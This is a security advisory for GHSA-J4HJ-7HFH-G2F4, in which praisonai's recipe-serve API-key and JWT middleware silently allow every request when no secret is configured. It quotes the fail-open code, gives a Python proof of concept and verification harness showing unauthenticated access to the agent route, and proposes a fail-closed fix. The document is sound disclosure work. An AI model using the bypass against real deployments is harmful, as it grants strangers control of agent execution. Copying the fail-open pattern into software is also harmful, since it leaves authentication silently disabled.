Summary
praisonai: recipe serve authentication middleware silently disables itself when no secret is set
Researcher: Kai Aizen, SnailSploit (@SnailSploit), Adversarial & Offensive Security Research
Target: https://github.com/MervinPraison/PraisonAI
Package: praisonai on PyPI
Version tested: 4.6.48.
File: praisonai/recipe/serve.py (sha256 491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23).
TL;DR
praisonai/recipe/serve.py:312-410 defines two auth middlewares (APIKeyAuthMiddleware, JWTAuthMiddleware). Both contain the same "fail open when the secret is unset" branch at the top of their dispatch:
async def dispatch(self, request, call_next):
if request.url.path == "/health":
return await call_next(request)
expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")
if not expected_key:
# No key configured, allow request
return await call_next(request)
...
async def dispatch(self, request, call_next):
if request.url.path == "/health":
return await call_next(request)
secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
if not secret:
return await call_next(request)
...
The realistic mis-deploy:
- operator sets
auth: api-key(orauth: jwt) in their recipe YAML, expecting that line alone to enable auth, - operator does not set the corresponding
api_key:/jwt_secret:value in the same YAML, AND - operator does not export
PRAISONAI_API_KEY/PRAISONAI_JWT_SECRETin the environment.
The middleware silently treats every request as authenticated and forwards it to the recipe-execution route.
Combined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to "I have to set auth: api-key to lock this down" still don't get auth on the recipe-serve surface unless they also remember the secret.
Root cause
Expected behavior, after setting `auth: api-key` in the recipe YAML:
"Now my recipe endpoints require an X-API-Key header."
Actual behavior (serve.py:325-333):
- middleware reads `expected_key = api_key or
os.environ.get("PRAISONAI_API_KEY")`
- if `expected_key` is None (neither YAML nor env supplied
one), middleware logs nothing and forwards the request.
- operator's recipe routes accept the request as if it were
authenticated. request.state.user is unset.
Impact:
The middleware's documented job is "validate the API key
against the configured value". The configured-value-is-None
case is exactly the case the middleware should fail closed
on, operator has signalled they want auth. Failing open
silently turns a documented authentication into a runtime
no-op.
Empirical verification
poc/poc.py:
- Imports the installed praisonai 4.6.48
praisonai.recipe.servemodule (sha256491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23). - Clears
PRAISONAI_API_KEY/PRAISONAI_JWT_SECRETenv vars to simulate the mis-deploy. - Calls
serve.create_auth_middleware('api-key', api_key=None, jwt_secret=None)and instantiates the returned middleware. - Builds a Starlette
Requestfor/runs(the recipe-execution path) with empty headers, noX-API-Key, noAuthorization. await middleware.dispatch(request, fake_call_next)returns the sentinel'REACHED-DOWNSTREAM (path=/runs)'from the fakecall_next, proving the middleware passed the request through without authenticating.- Repeats the test for
auth_type='jwt', same bypass on the JWT path.
Run log (poc/run-log.txt) summary:
[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env
middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'
[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env
middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'
APIKeyAuthMiddleware allowed the request through without an API key.
JWTAuthMiddleware allowed the request through without a Bearer token.
[4] grep '# No key configured, allow request' -> line 333
VERDICT: VULNERABLE
EXIT 0
Anchors
praisonai/recipe/serve.py:325-333,APIKeyAuthMiddleware.dispatchsilent-bypass branch.praisonai/recipe/serve.py:352-355,JWTAuthMiddleware.dispatchsilent-bypass branch.praisonai/recipe/serve.py:688-694, call site:auth_type = config.get("auth") if auth_type and auth_type != "none": auth_middleware = create_auth_middleware( auth_type, api_key=config.get("api_key"), jwt_secret=config.get("jwt_secret"), )
Steps to reproduce
- Clone the target:
git clone --depth 1 https://github.com/MervinPraison/PraisonAI - Run the proof of concept (
poc.py) against the cloned source. - Observe the result shown under Verified result below.
Proof of concept
poc.py
"""
PoC: praisonai 4.6.48 `praisonai recipe serve` configures
authentication via a `auth:` field in the recipe YAML. Setting
`auth: api-key` or `auth: jwt` installs APIKeyAuthMiddleware or
JWTAuthMiddleware on the FastAPI app, and the operator's expectation
is that those endpoints now require a valid API key / Bearer JWT.
In reality, both middlewares contain an early-return that silently
bypasses authentication when the corresponding secret has not been
configured (neither via the recipe YAML nor via the
PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env var).
"""
import hashlib
import inspect
import os
import sys
def main() -> int:
print('=' * 72)
print('praisonai 4.6.48, recipe serve auth middleware silent bypass')
print('=' * 72)
# Realistic deploy: operator sets `auth: api-key` in YAML but
# forgets to set api_key / env var.
for env_var in ('PRAISONAI_API_KEY', 'PRAISONAI_JWT_SECRET'):
if env_var in os.environ:
del os.environ[env_var]
from praisonai.recipe import serve as serve_mod
src = inspect.getsourcefile(serve_mod)
with open(src, 'rb') as f:
raw = f.read()
sha = hashlib.sha256(raw).hexdigest()
print()
print(f'[1] serve.py path : {src}')
print(f' sha256 : {sha}')
from starlette.requests import Request
create_auth_middleware = serve_mod.create_auth_middleware
async def fake_call_next(request):
return f"REACHED-DOWNSTREAM (path={request.url.path})"
async def driver(auth_type: str, headers=None):
scope = {
'type': 'http', 'method': 'GET', 'path': '/runs',
'headers': headers or [], 'query_string': b'', 'scheme': 'http',
'server': ('127.0.0.1', 8000), 'app': None, 'root_path': '',
}
request = Request(scope, receive=lambda: None)
mw_cls = create_auth_middleware(auth_type, api_key=None, jwt_secret=None)
if mw_cls is None:
return 'middleware-import-failed'
instance = mw_cls(app=None)
return await instance.dispatch(request, fake_call_next)
import asyncio
print()
print("[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env")
result_apikey = asyncio.run(driver('api-key'))
print(f" middleware.dispatch -> {result_apikey!r}")
print()
print("[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env")
result_jwt = asyncio.run(driver('jwt'))
print(f" middleware.dispatch -> {result_jwt!r}")
vulnerable = False
if isinstance(result_apikey, str) and 'REACHED-DOWNSTREAM' in result_apikey:
vulnerable = True
print(' APIKeyAuthMiddleware allowed the request through without an API key.')
if isinstance(result_jwt, str) and 'REACHED-DOWNSTREAM' in result_jwt:
vulnerable = True
print(' JWTAuthMiddleware allowed the request through without a Bearer token.')
# Static check that the bypass is on the code path.
text = raw.decode('utf-8', errors='replace')
needle_api = '# No key configured, allow request'
apikey_line = next(
(i for i, l in enumerate(text.splitlines(), 1) if needle_api in l),
None,
)
print()
print('[4] static cross-check, bypass branch on the code path')
print(f" grep '{needle_api}' -> line {apikey_line}")
if not vulnerable:
print('UNEXPECTED, the dispatch did not return the bypass result.')
return 1
print()
print('VULNERABLE: praisonai 4.6.48 `recipe serve` AuthMiddleware classes')
print(' both silently bypass auth when the operator sets auth_type')
print(' but forgets the corresponding secret, unauthenticated access')
print(' to recipe execution endpoints.')
print('VERDICT: VULNERABLE')
return 0
if __name__ == '__main__':
sys.exit(main())
Verification harness (executed against the cloned repo)
This drives the unmodified upstream code rather than a reproduction.
import sys, types, os, importlib.util
BK=os.path.abspath("repos/PraisonAI/src/praisonai"); sys.path.insert(0,BK)
for p in ["praisonai","praisonai.recipe"]:
m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m
spec=importlib.util.spec_from_file_location("praisonai.recipe.serve", BK+"/praisonai/recipe/serve.py")
serve=importlib.util.module_from_spec(spec); serve.__package__="praisonai.recipe"; sys.modules[spec.name]=serve; spec.loader.exec_module(serve)
print("[*] Loaded REAL praisonai recipe/serve.py")
os.environ.pop("PRAISONAI_API_KEY", None) # operator forgot to export it too
from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import PlainTextResponse
from starlette.testclient import TestClient
def make_app(mw):
app=Starlette(routes=[Route("/run", lambda r: PlainTextResponse("AGENT EXECUTED"), methods=["POST"])])
app.add_middleware(mw); return TestClient(app)
# (A) operator set `auth: api-key` but forgot api_key + env -> REAL factory returns middleware that SILENTLY bypasses
MW_bypass = serve.create_auth_middleware("api-key", api_key=None) # REAL factory
r = make_app(MW_bypass).post("/run")
print(f"[+] auth='api-key', NO key configured, NO header -> HTTP {r.status_code} body={r.text!r}")
# (B) control: same middleware WITH a key configured -> unauthenticated request is correctly 401
MW_enforced = serve.create_auth_middleware("api-key", api_key="real-secret")
r2 = make_app(MW_enforced).post("/run")
print(f"[*] auth='api-key', key CONFIGURED, NO header -> HTTP {r2.status_code} (correctly rejected)")
assert r.status_code==200 and "AGENT EXECUTED" in r.text and r2.status_code==401
print("[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated")
Verified result
This PoC was executed against the live upstream code; captured output:
[*] Loaded REAL praisonai recipe/serve.py
[+] auth='api-key', NO key configured, NO header -> HTTP 200 body='AGENT EXECUTED'
[*] auth='api-key', key CONFIGURED, NO header -> HTTP 401 (correctly rejected)
[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated
Credit
Kai Aizen, SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.
Impact
The recipe-serve surface runs agentic workflows, same execution posture as praisonai/jobs/server.py but separately configured / separately reached. Unauth access on this surface yields:
- Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations.
- Read the inputs / outputs of in-flight recipes, the operator's prompts and the LLM responses.
- In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path.
A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.
GHSA-J4HJ-7HFH-G2F4 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.6.59); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
When the operator has signalled "I want auth", refuse to start without the corresponding secret rather than silently degrading:
def create_auth_middleware(auth_type, api_key=None, jwt_secret=None):
if auth_type == 'api-key':
expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")
if not expected_key:
raise SystemExit(
"auth_type='api-key' requested but no API key is "
"configured. Either set `api_key:` in your recipe "
"YAML or export PRAISONAI_API_KEY. Refusing to "
"start with a silently disabled auth middleware."
)
...
elif auth_type == 'jwt':
secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
if not secret:
raise SystemExit(
"auth_type='jwt' requested but no JWT secret is "
"configured. Either set `jwt_secret:` in your recipe "
"YAML or export PRAISONAI_JWT_SECRET. Refusing to "
"start with a silently disabled auth middleware."
)
...
This is the same pattern the sibling praisonai.gateway server applies in assert_external_bind_safe at praisonai/gateway/auth.py:48-54, refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same.
Frequently Asked Questions
- What is GHSA-J4HJ-7HFH-G2F4? GHSA-J4HJ-7HFH-G2F4 is a critical-severity missing authentication for critical function vulnerability in praisonai (pip), affecting versions <= 4.6.48. It is fixed in 4.6.59. A critical operation is accessible without requiring any authentication.
- How severe is GHSA-J4HJ-7HFH-G2F4? GHSA-J4HJ-7HFH-G2F4 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of praisonai are affected by GHSA-J4HJ-7HFH-G2F4? praisonai (pip) versions <= 4.6.48 is affected.
- Is there a fix for GHSA-J4HJ-7HFH-G2F4? Yes. GHSA-J4HJ-7HFH-G2F4 is fixed in 4.6.59. Upgrade to this version or later.
- Is GHSA-J4HJ-7HFH-G2F4 exploitable, and should I be worried? Whether GHSA-J4HJ-7HFH-G2F4 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-J4HJ-7HFH-G2F4 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-J4HJ-7HFH-G2F4? Upgrade
praisonaito 4.6.59 or later.